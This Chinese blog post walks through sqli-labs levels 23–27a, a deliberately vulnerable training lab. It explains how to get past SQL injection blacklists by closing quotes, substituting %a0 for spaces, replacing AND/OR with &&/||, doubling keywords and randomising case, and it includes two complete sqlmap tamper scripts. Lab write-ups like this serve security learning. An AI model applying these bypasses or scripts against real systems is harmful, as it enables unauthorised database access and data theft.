sqlilab less23-less27a

less23

本关过滤掉了注释符号-- 和#,并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and '1'='1,将其加在注入语句的末尾,使用suffix参数

 

 

 

 


 

 less-24

 以后填坑


less-25

参数经过blacklist处理

 

 blacklist内容:使用/i模式,表示不区分大小写,无法用大小写绕过。但是AND等价于&&,or等价于||

 

 对sqlmap的一个payload进行修改

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    
    if payload:
        payload1=payload.replace(' AND ',"&&")
        payload2=payload1.replace(' OR ',"||")
        payload=payload2

    return payload

  成功注入

 


 

less-26

同上题,进行黑名单过滤,过滤内容加入了其他,过滤了注释符+ -- /*,空格和斜线

 

 需要用and '1'='1来闭合后边单引号,用%a0来替代空格,

修改tamper脚本

 

 

 

 

攻击日志:

 

 


 

less-26a

不同于上一关,这里是用小括号进行了包裹

 

 tamper

 1 #!/usr/bin/env python
 2 
 3 from lib.core.enums import PRIORITY
 4 from lib.core.compat import xrange
 5 import re
 6 
 7 __priority__ = PRIORITY.LOWEST
 8 
 9 def dependencies():
10     pass
11 
12 def tamper(payload, **kwargs):
13   
14     if payload:
15         payload1=re.sub(r' AND ','%a0%26%26%a0',payload)
16         payload2=re.sub(r'OR','OORR',payload1)
17         payload=payload2
18     retVal = payload
19 
20     if payload:
21         retVal = ""
22         quote, doublequote, firstspace = False, False, False
23 
24         for i in xrange(len(payload)):
25             if not firstspace:
26                 if payload[i].isspace():
27                     firstspace = True
28                     retVal += "%a0"
29                     continue
30 
31             elif payload[i] == '\'':
32                 quote = not quote
33 
34             elif payload[i] == '"':
35                 doublequote = not doublequote
36 
37             elif payload[i] == " " and not doublequote and not quote:
38                 retVal += "%a0"
39                 continue
40 
41             retVal += payload[i]
42 
43     return retVal

使用sqlmap进行前后的包裹

 

 

 

 


 less-27

 过滤了union和select,但是,不是i模式,对大小写不敏感,可以用大小写绕过

 

 使用随机大小写和空格匹配tamper

 

 

 

 


less-27a

不同于上一个的是参数没有包裹,同时不返回报错

 

 利用上一题的tamper,对前后的包裹进行修改

 

 

 

 攻击日志

 

posted @ 2020-08-05 12:52  红刃  阅读(402)  评论(0编辑  收藏  举报